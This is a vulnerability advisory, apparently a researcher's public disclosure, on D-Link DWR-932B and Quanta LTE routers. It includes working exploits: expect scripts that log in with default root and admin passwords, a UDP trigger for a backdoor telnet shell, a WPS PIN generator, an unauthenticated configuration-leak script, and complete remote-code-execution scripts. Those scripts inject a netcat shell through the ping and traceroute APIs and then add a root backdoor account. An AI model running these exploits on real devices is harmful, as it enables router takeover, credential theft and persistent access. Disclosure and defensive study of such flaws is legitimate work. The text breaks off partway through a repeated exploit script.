This research is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
Dlink is a multinational networking equipment manufacturing corporation.
The Dlink DWR-932B is a LTE router / access point overall badly designed with a lot of vulnerabilities. It's available in a number of countries to provide Internet with a LTE network. It's a model based on the (in)famous Quanta LTE router models and inherits some vulnerabilities.
The tests below are done using the latest available firmware (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).
The summary of the vulnerabilities is:
A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown.
This router is still on sale.
Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched and customers with questions should contact their local/regional D-Link support office for the latest information.
By default, telnetd and SSHd are running in the router.
Telnetd is running even if there is no documentation about it:
user@kali:~$ cat ./etc/init.d/start_appmgr
[...]
#Sandro { for telnetd debug...
start-stop-daemon -S -b -a /bin/logmaster
#if [ -e /config2/telnetd ]; then
start-stop-daemon -S -b -a /sbin/telnetd
#fi
#Sandro }
[...]
2 backdoor accounts exist and can be used to bypass the HTTP authentication used to manage the router.
admin@homerouter:~$ grep admin /etc/passwd
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
admin@homerouter:~$
The password for admin is 'admin' and can be found in the /bin/appmgr
program using IDA:
About the root user:
user@kali:~$ cat ./etc/shadow
root:aRDiHrJ0OkehM:16270:0:99999:7:::
daemon:*:16270:0:99999:7:::
bin:*:16270:0:99999:7:::
sys:*:16270:0:99999:7:::
sync:*:16270:0:99999:7:::
games:*:16270:0:99999:7:::
man:*:16270:0:99999:7:::
lp:*:16270:0:99999:7:::
mail:*:16270:0:99999:7:::
news:*:16270:0:99999:7:::
uucp:*:16270:0:99999:7:::
proxy:*:16270:0:99999:7:::
www-data:*:16270:0:99999:7:::
backup:*:16270:0:99999:7:::
list:*:16270:0:99999:7:::
irc:*:16270:0:99999:7:::
gnats:*:16270:0:99999:7:::
diag:*:16270:0:99999:7:::
nobody:*:16270:0:99999:7:::
messagebus:!:16270:0:99999:7:::
avahi:!:16270:0:99999:7:::
admin@kali:~$
Using john to crack the hashes:
user@kali:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16270:0:99999:7:::
2 password hashes cracked, 0 left
user@kali:~$
Results:
Working exploit for admin:
user@kali:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f
set timeout 3
spawn ssh admin@192.168.1.1
expect "password: $"
send "admin\r"
interact
user@kali:~$ ./quanta-ssh-default-password-admin
spawn ssh admin@192.168.1.1
admin@192.168.1.1's password:
admin@homerouter:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
admin@homerouter:~$
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.
Working exploit for root:
user@kali:~$ cat quanta-ssh-default-password-root
#!/usr/bin/expect -f
set timeout 3
spawn ssh root@192.168.1.1
expect "password: $"
send "1234\r"
interact
user@kali:~$ ./quanta-ssh-default-password-root
spawn ssh root@192.168.1.1
root@192.168.1.1's password:
root@homerouter:~# id
uid=168(root) gid=168(root) groups=168(root)
root@homerouter:~#
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.
A backdoor is present inside the /bin/appmgr
program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running.
In /bin/appmgr
, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.
If a client sends "HELODBG" to the router, the router will execute /sbin/telnetd -l /bin/sh
, allowing to access without authentication to the router as root.
When using IDA, we can see the backdoor is located in the main function (line 369):
Working PoC :
user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
OpenEmbedded Linux homerouter.cpe
msm 20141210 homerouter.cpe
/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.
user@kali:~$
Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).
By default, the PIN for the WPS system is ever 28296607
. It is, in fact, hardcoded in the /bin/appmgr
program:
This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router:
root@homerouter:~# ps -a|grep hostap
1006 root 0:00 hostapd /var/wifi/ar6k0.conf
1219 root 0:00 grep hostap
root@homerouter:~# cat /var/wifi/ar6k0.conf
[...]
ap_pin=28296607
[...]
An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the 28296607
WPS PIN is provided by default).
The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm:
user@kali:~$ cat quanta-wps-gen.c
#include <stdio.h> #include <stdlib.h> #include <time.h> int main(int argc, char **argv, char **envp) { unsigned int i0, i1; int i2; /* the seed is the current time of the router, which uses NTP... */ srand(time(0)); i0 = rand() % 10000000; if (i0 <= 999999) i0 += 1000000; i1 = 10 * i0; i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 * (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10)) % 10) % 10 + 10 * i0; printf("%d\n", i2 ); return (0); }
user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c
user@kali:~$ ./dlink-wps-gen
97329329
user@kali:~$
You can fetch this program at https://pierrekim.github.io/advisories/quanta-wps-gen.c.
Using srand(time(0))
as a seed is a bad idea because an attacker, knowing the current date as time(0)
returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them.
For the curious reader, the original algorithm in the firmware is:
.text:0001B4D4 EXPORT generate_wlan_wps_enrollee_pin
.text:0001B4D4 generate_wlan_wps_enrollee_pin ; CODE XREF: wifi_msg_handle+194p
.text:0001B4D4
.text:0001B4D4 var_3C = -0x3C
.text:0001B4D4 var_38 = -0x38
.text:0001B4D4 s = -0x34
.text:0001B4D4 var_30 = -0x30
.text:0001B4D4 var_2C = -0x2C
.text:0001B4D4
.text:0001B4D4 STMFD SP!, {R4-R11,LR}
.text:0001B4D8 SUB SP, SP, #0x1C
.text:0001B4DC STR R0, [SP,#0x40+s]
.text:0001B4E0 MOV R0, #0 ; timer
.text:0001B4E4 BL time
.text:0001B4E8 BL srand
.text:0001B4EC BL rand
.text:0001B4F0 LDR R4, =0x6B5FCA6B
.text:0001B4F4 MOV R6, R0,ASR#31
.text:0001B4F8 SMULL R1, R4, R0, R4
.text:0001B4FC RSB R10, R6, R4,ASR#22
.text:0001B500 RSB R12, R10, R10,LSL#5
.text:0001B504 RSB R2, R12, R12,LSL#6
.text:0001B508 ADD R11, R10, R2,LSL#3
.text:0001B50C LDR R8, =0xF423F
.text:0001B510 ADD R9, R11, R11,LSL#2
.text:0001B514 SUB R1, R0, R9,LSL#7
.text:0001B518 CMP R1, R8
.text:0001B51C ADDLS R1, R1, #0xF4000
.text:0001B520 ADDLS R1, R1, #0x240
.text:0001B524 ADD R3, R1, R1,LSL#2
.text:0001B528 MOV R3, R3,LSL#1
.text:0001B52C LDR R1, =0xCCCCCCCD
.text:0001B530 LDR R5, =0xA7C5AC5
.text:0001B534 LDR R6, =0x6B5FCA6B
.text:0001B538 MOV R7, R3,LSR#5
.text:0001B53C UMULL R4, R7, R5, R7
.text:0001B540 UMULL R9, LR, R1, R3
.text:0001B544 UMULL R5, R6, R3, R6
.text:0001B548 LDR R12, =0xD1B71759
.text:0001B54C MOV R6, R6,LSR#22
.text:0001B550 UMULL R10, R12, R3, R12
.text:0001B554 MOV LR, LR,LSR#3
.text:0001B558 UMULL R10, R9, R1, R6
.text:0001B55C UMULL R8, R10, R1, LR
.text:0001B560 LDR R0, =0x431BDE83
.text:0001B564 MOV R12, R12,LSR#13
.text:0001B568 UMULL R11, R0, R3, R0
.text:0001B56C STR R10, [SP,#0x40+var_38]
.text:0001B570 UMULL R8, R10, R1, R12
.text:0001B574 LDR R2, =0x51EB851F
.text:0001B578 LDR R4, =0x10624DD3
.text:0001B57C UMULL R5, R2, R3, R2
.text:0001B580 MOV R0, R0,LSR#18
.text:0001B584 STR R10, [SP,#0x40+var_3C]
.text:0001B588 UMULL R8, R4, R3, R4
.text:0001B58C UMULL R8, R10, R1, R0
.text:0001B590 MOV R2, R2,LSR#5
.text:0001B594 MOV R7, R7,LSR#7
.text:0001B598 UMULL R8, R11, R1, R7
.text:0001B59C STR R10, [SP,#0x40+var_30]
.text:0001B5A0 MOV R4, R4,LSR#6
.text:0001B5A4 UMULL R8, R10, R1, R2
.text:0001B5A8 UMULL R8, R5, R1, R4
.text:0001B5AC STR R10, [SP,#0x40+var_2C]
.text:0001B5B0 MOV R8, R9,LSR#3
.text:0001B5B4 MOV R10, R11,LSR#3
.text:0001B5B8 ADD R11, R10, R10,LSL#2
.text:0001B5BC ADD R9, R8, R8,LSL#2
.text:0001B5C0 MOV R10, R5,LSR#3
.text:0001B5C4 LDR R8, [SP,#0x40+var_38]
.text:0001B5C8 SUB R6, R6, R9,LSL#1
.text:0001B5CC SUB R7, R7, R11,LSL#1
.text:0001B5D0 LDR R9, [SP,#0x40+var_3C]
.text:0001B5D4 LDR R11, [SP,#0x40+var_30]
.text:0001B5D8 ADD R5, R10, R10,LSL#2
.text:0001B5DC SUB R5, R4, R5,LSL#1
.text:0001B5E0 LDR R4, [SP,#0x40+var_2C]
.text:0001B5E4 MOV R10, R8,LSR#3
.text:0001B5E8 MOV R8, R9,LSR#3
.text:0001B5EC MOV R9, R11,LSR#3
.text:0001B5F0 ADD R7, R7, R6
.text:0001B5F4 ADD R10, R10, R10,LSL#2
.text:0001B5F8 ADD R9, R9, R9,LSL#2
.text:0001B5FC MOV R11, R4,LSR#3
.text:0001B600 ADD R8, R8, R8,LSL#2
.text:0001B604 ADD R7, R7, R5
.text:0001B608 SUB LR, LR, R10,LSL#1
.text:0001B60C SUB R5, R0, R9,LSL#1
.text:0001B610 SUB R8, R12, R8,LSL#1
.text:0001B614 ADD R11, R11, R11,LSL#2
.text:0001B618 ADD R12, R7, LR
.text:0001B61C SUB R4, R2, R11,LSL#1
.text:0001B620 ADD R8, R8, R5
.text:0001B624 ADD R5, R8, R4
.text:0001B628 ADD R0, R12, R12,LSL#1
.text:0001B62C ADD R4, R5, R0
.text:0001B630 UMULL R5, R1, R4, R1
.text:0001B634 MOV R2, R1,LSR#3
.text:0001B638 ADD LR, R2, R2,LSL#2
.text:0001B63C SUB R8, R4, LR,LSL#1
.text:0001B640 LDR R0, =0x66666667
.text:0001B644 RSB R2, R8, #0xA
.text:0001B648 SMULL R8, R0, R2, R0
.text:0001B64C MOV R12, R2,ASR#31
.text:0001B650 RSB R1, R12, R0,ASR#2
.text:0001B654 ADD LR, R1, R1,LSL#2
.text:0001B658 LDR R12, =(aHostapd_conf_f - 0x1B670)
.text:0001B65C SUB R4, R2, LR,LSL#1
.text:0001B660 LDR R2, =(aGet_wpspinI - 0x1B67C)
.text:0001B664 ADD R4, R4, R3
.text:0001B668 ADD R0, PC, R12 ; "hostapd_conf_file_gen"
.text:0001B66C ADD R0, R0, #0x3C
.text:0001B670 MOV R1, #0x3B
.text:0001B674 ADD R2, PC, R2 ; "Get_WpsPin:%in"
.text:0001B678 MOV R3, R4
.text:0001B67C BL wifi_filelog
.text:0001B680 LDR R1, =(a08lu - 0x1B690)
.text:0001B684 LDR R0, [SP,#0x40+s] ; s
.text:0001B688 ADD R1, PC, R1 ; "%08lu"
.text:0001B68C MOV R2, R4
.text:0001B690 ADD SP, SP, #0x1C
.text:0001B694 LDMFD SP!, {R4-R11,LR}
.text:0001B698 B sprintf
.text:0001B698 ; End of function generate_wlan_wps_enrollee_pin
The file /etc/inadyn-mt.conf
(for a dyndns client) contains an user and a hardcoded password:
--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system default@no-ip.com
--alias test.no-ip.com
The HTTP daemon /bin/qmiweb
is full of vulnerabilities.
You can see my precedent researches about a router model using a similar firmware:
Adapting the exploits is left as exercises for the reader :)
The credentials to contact the FOTA server are hardcoded in the /sbin/fotad
binary, as shown with this IDA screenshot:
The function sub_CAAC contains the credentials as base64-strings, used to retrieve the firmware.
It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing, the SSL certificate for https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for 1.5 year.
The user/password combinations are:
qdpc:qdpc
qdpe:qdpe
qdp:qdp
From /etc/init.d/start_appmgr
, you will read "strange" shell commands executed as root, like:
if [ -f /sbin/netcfg ]; then
echo -n "chmod 777 netcfg"
chmod 777 /sbin/netcfg
fi
if [ -f /bin/QNetCfg ]; then
echo -n "chmod 777 QNetCfg"
chmod 777 /bin/QNetCfg
fi
I have no idea why the vendor needs to chmod 777 files located in /bin/.
UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client.
Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is volountarily lowered as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN:
The /var/miniupnpd.conf is generated by the /bin/appmgr
program:
It will generate the /var/miniupnpd.conf
file:
ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024:
Normal config file:
# UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is <min port>-<max port> or <port> if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535
In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN. For example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers... In fact, this lack of security allows a local user to forward whatever they want from the Internet into the LAN.
As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy (/bin/tinyproxy -c /var/tproxy.conf
), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie).
From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these vulnerabilities present in the default firmware, I don't think it is worth making the effort.
Customers with questions should contact their local/regional D-Link support offices for the latest information.
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
I would like to thank Gianni Carabelli who found this router and thought it was very similar to the previous backdoored Quanta routers.
https://pierrekim.github.io/advisories/2016-dlink-0x00.txt
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
Quanta Computer Incorporated is a Taiwan-based manufacturer of electronic hardware. It is the largest manufacturer of notebook computers in the world.
The Quanta LTE QDH Router device is a LTE router / access point overall badly designed with a lot of vulnerabilities. It's available in a number of countries to provide Internet with a LTE network.
The tests below are done using the latest available firmware (firmware 01.00.05_1210, model revision QDHY10_M1.2252_45041, /DailyBuild/MDM9x25_2031_QDT/QDHY_2031_YOOMEE/codebase/MDM9x25_2031_QDH_20141210_0940/MDM9x25_2031_QDT/LINUX/apps_proc/oe-core/build/tmp-eglibc/work-shared/gcc-4.6.2+svnr181430-r22/gcc-4_6-branch/libgcc/../gcc/config/arm).
The summary of the vulnerabilities is:
A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown.
Note: This firmware is being used by other Quanta CPEs. From the /usr/www/js/ui/qdisplay.js
file,
the vulnerable firmware seems to be used in several routers:
The routers are still on sale and used in several countries.
Due to lack of communication of the vendor, the specific list of affected countries is unknown. However, we assume the affected firmware is used at least in some Arabic speaking countries as the Help files are written in English, French, Chinese and Arabic (See http://192.168.1.1/help_ar.html
).
Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched.
A hardcoded SSH server key can be found in /etc/dropbear/dropbear_rsa_host_key
and can be used to decipher SSH traffic to the router:
admin@homerouter:~$ ls -la /etc/dropbear/dropbear_rsa_host_key
-rw------- 1 root root 427 Dec 10 2014 dropbear/dropbear_rsa_host_key
#
Base64 hardcoded SSH server key:
user@kali:~$ cat dropbear_rsa_host_key | base64
AAAAB3NzaC1yc2EAAAADAQABAAAAgwC9P88UlGdb6WIsIcyni8zh4zLdrSORieNeZNXtDHiH
zgs80XQ8FOBBaNBTBAib+GX6V8Aixvmh315+H6xyb4fQSlicpJ1lq4k7pKsrXGgdYS2FTPrX
A8YG+1beVvWeK9/8LjXAdZCzwE7D8jOSPh9dw0HIuPQhBCfxE4o/WOvYwVMZAAAAggHJf9g9
CAZWS3zo80ysPWqvKXBuNYEm9RCTwXDn/p3isFi6Th+Qn2cCuT/lcHrfkz/0Uu5JJHuWt0bX
3/ojKzxIaUQplS1Kumc4qF65ksKWjCmJuKvtO50dooZNEmq86AKKnrC6t+7qb/5koX9eu/dV
4w4P2jETGZBEUOLwFULn9aEAAABCAPUi4oI9NcRHZ3tvlEXgN/7Cd2F/UbshuW0kV1v4sJZj
ABmVrJ5TXol8Ne8KoWinxHfGaSky/IJR9zSkTaUJy115AAAAQgDFouA20kCjNeGgtabxuRP7
lndn8/4jXR0/HvEVdZIki9Z5gifC5+gxn8rKcyTSZZmyMYGwLQsN3Z9LumQT/DdaoQ==
user@kali:~$
By default, telnetd and SSHd are running in the router.
2 backdoors accounts exist and can be used to bypass the HTTP authentication used to manage the router.
admin@homerouter:~$ grep admin /etc/passwd
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
admin@homerouter:~$
The password for admin is 'admin' and can be found in the /bin/appmgr
program using IDA:
About the root user:
root@homerouter:~# grep root /etc/shadow
root:aRDiHrJ0OkehM:16414:0:99999:7:::
root@homerouter:~#
Using john to crack the hashes:
user@kali:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16414:0:99999:7:::
2 password hashes cracked, 0 left
user@kali:~$
Results:
Working exploit for admin:
user@kali:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f
set timeout 3
spawn ssh admin@192.168.1.1
expect "password: $"
send "admin\r"
interact
user@kali:~$ ./quanta-ssh-default-password-admin
spawn ssh admin@192.168.1.1
admin@192.168.1.1's password:
admin@homerouter:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
admin@homerouter:~$
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.
Working exploit for root
user@kali:~$ cat quanta-ssh-default-password-root
#!/usr/bin/expect -f
set timeout 3
spawn ssh root@192.168.1.1
expect "password: $"
send "1234\r"
interact
user@kali:~$ ./quanta-ssh-default-password-root
spawn ssh root@192.168.1.1
root@192.168.1.1's password:
root@homerouter:~# id
uid=168(root) gid=168(root) groups=168(root)
root@homerouter:~#
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.
The router has apparently small capacity when trying to route packets.
This "exploit" will likely force the router to reboot:
user@kali:~$ cat quanta-dos-crash-router.sh
#!/bin/sh
echo this exploit will crash the router if you are using RJ45
echo press [enter]
read x
nmap -sP -T5 10.201.12.0/24 2>/dev/null >/dev/null
user@kali:~$ ./quanta-dos-crash-router.sh
this exploit will crash the router if you are using RJ45
press [enter]
[the router will reboot]
user@kali:~$
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-dos-crash-router.sh.
The webinterface allows an attacker to retrieve every sensible information without authentication (web login, web passwords, wifi configuration, WPS PIN, Dyndns login, Dyndns passwords, Wifi SSIDs, ...).
This "exploit" will show all the configuration of the router, including logins and passwords:
user@kali:~$ cat quanta-infoleak.sh
#!/bin/sh
ip=$1
if [ ! $1 ]; then
echo "$0 ip"
exit 1
fi
echo "INFOLEAK"
echo "press [enter]"
read wut
for i in system apn firewall fota lan modem portfwd r_sku samba sms10 wan_lte wan_wifi wifi cm netstat ipfilter ddns dlna tr069 ip6filter wizard ; do
wget -qO- "http://$ip/data.ria?CfgType=get_homeCfg&file=$i"
done
user@kali:~$
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-infoleak.sh.
Using this exploit:
user@kali:~$ ./quanta-infoleak.sh 192.168.1.1
INFOLEAK
press [enter]
[META]
System_Log="2,M"
[VER]
config="1.0"
[DEVICE]
web_usrname="admin"
web_passwd="admin"
login_timeout="0"
language="10"
[SNTP]
enable="1"
timezone="16"
update_period="12"
server1="0.africa.pool.ntp.org"
server2="1.africa.pool.ntp.org"
server3="time.windows.com"
[PWRMGR]
batt_idle_tm="0"
deep_sleep_tm="0"
pwroff_idle_tm="0"
[WEBSVC]
[....snip....]
[AP1]
enable="1"
ssid="OperatorWiFi-0000"
channel="0"
ch_width="0"
hidden="0"
security="3"
wpa_auth="5"
wpa_passphrase="test test"
[....snip....]
enrollee_pin="28296607"
[....snip....]
user@kali:~$
The Webinterface allows an attacker to execute commands as root by injecting commands.
The first RCE has been found in the ping API:
Ping Remote command execution with nc -l -p 1337 -e /bin/ash
as a payload
user@kali:~$ wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"ping\",\"cmd\":\"ping\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"cnt\":4,\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
A complete exploit is provided and will produce this output:
user@kali:~$ ./quanta-rce-remote-exploit-ping.sh
Stage [1] - Bypassing authentication ... OK
local admin = admin
local passw = admin
wifi access point = OperatorWiFi-0000
wifi password = test
WPS PIN = 28296607
guest wifi access point = OperatorWiFi-Guest-0000
guest wifi password = 12345678
public ip = 0.0.0.0
gateway = 0.0.0.0
subnet mask = 255.255.255.252
dns server #1 = 41.242.32.26
dns server #2 = 41.242.32.42
Stage [2] - RCE ... OK
Stage [3] - Checking the router ... OK
uid=0(root) gid=0(root)
HACK THE PLANET
Stage [4] - Creating a backdoor account ... OK
Stage [5] - Connecting as backdoor/admin to the remote sshd ...
Have fun!
spawn ssh backdoor@192.168.1.1
backdoor@192.168.1.1's password:
root@homerouter:/# id
uid=0(root) gid=0(root) groups=0(root)
root@homerouter:/#
This exploit will bypass the authentication, get the information about credentials using the infoleak, use them to get a CSRF token, launch a backdoor shell as root, add an user and then connect with SSH with the new created account with a fully-working shell:
user@kali:~$ cat quanta-rce-remote-exploit-ping.sh
#!/bin/sh
TMP_DIR=$(mktemp -d)
echo -n "Stage [1] - Bypassing authentication ..."
wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'
wget -qO${TMP_DIR}/stage1-wifi 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=wifi'
wget -qO${TMP_DIR}/stage1-network 'http://192.168.1.1/data.ria?DynUpdate=up_5s'
echo " OK"
echo -n " local admin = "
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_login
echo -n " local passw = "
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_password
echo -n " wifi access point = "
grep ssid ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " wifi password = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " WPS PIN = "
grep enrollee_pin ${TMP_DIR}/stage1-wifi | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " guest wifi access point = "
grep ssid ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " guest wifi password = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n " public ip = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep ip | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " gateway = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep gateway | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " subnet mask = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep subnet_mask | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " dns server #1 = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep dns1 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n " dns server #2 = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep dns2 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo
echo -n "Stage [2] - RCE ..."
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&passwd=$http_password" http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"ping\",\"cmd\":\"ping\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"cnt\":4,\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
echo " OK"
echo "Stage [3] - Checking the router ... OK"
(echo id; echo echo "backdoor:htEcF9TWn./9Q:0:0:backdoor:/:/bin/sh >> /etc/passwd" ; echo echo HACK THE PLANET ; echo exit) | nc 192.168.1.1 1337
echo -n "Stage [4] - Creating a backdoor account ..."
echo " OK"
echo "Stage [5] - Connecting as backdoor/admin to the remote sshd ..."
echo
echo "Have fun!"
echo
expect -c 'set timeout 3; spawn ssh backdoor@192.168.1.1; expect "password: $"; send "admin\r"; interact'
user@kali:~$
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-ping.sh.
The Webinterface allows an attacker to execute commands as root by injecting commands.
The second RCE has been found in the traceroute API:
Traceroute Remote command execution:
user@kali:~$ wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"tracert\",\"cmd\":\"tracert\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
Working exploit:
The output is the same as the first RCE. A complete exploit is provided and will produce this output:
user@kali:~$ ./quanta-rce-remote-exploit-traceroute.sh
Stage [1] - Bypassing authentication ... OK
local admin = admin
local passw = admin
wifi access point = OperatorWiFi-0000
wifi password = test
WPS PIN = 28296607
guest wifi access point = OperatorWiFi-Guest-0000
guest wifi password = 12345678
public ip = 0.0.0.0
gateway = 0.0.0.0
subnet mask = 255.255.255.252
dns server #1 = 41.242.32.26
dns server #2 = 41.242.32.42
Stage [2] - RCE ... OK
Stage [3] - Checking the router ... OK
uid=0(root) gid=0(root)
HACK THE PLANET
Stage [4] - Creating a backdoor account ... OK
Stage [5] - Connecting as backdoor/admin to the remote sshd ...
Have fun!
spawn ssh backdoor@192.168.1.1
backdoor@192.168.1.1's password:
root@homerouter:/# id
uid=0(root) gid=0(root) groups=0(root)
root@homerouter:/#
This exploit will bypass the authentication, get the information about credentials using the infoleak, use them to get a CSRF token, launch a backdoor shell as root, add an user and then connect with SSH with the new created account with a fully-working shell:
user@kali:~$ cat quanta-rce-remote-exploit-ping.sh
#!/bin/sh
TMP_DIR=$(mktemp -d)
echo -n "Stage [1] - Bypassing authentication ..."
wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'
wget -qO${TMP_DIR}/stage1-wifi 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=wifi'
wget -qO${TMP_DIR}/stage1-network 'http://192.168.1.1/data.ria?DynUpdate=up_5s'
echo " OK"
echo -n " local admin = "
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_login
echo -n " local passw = "
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_password
echo -n " wifi access point = "
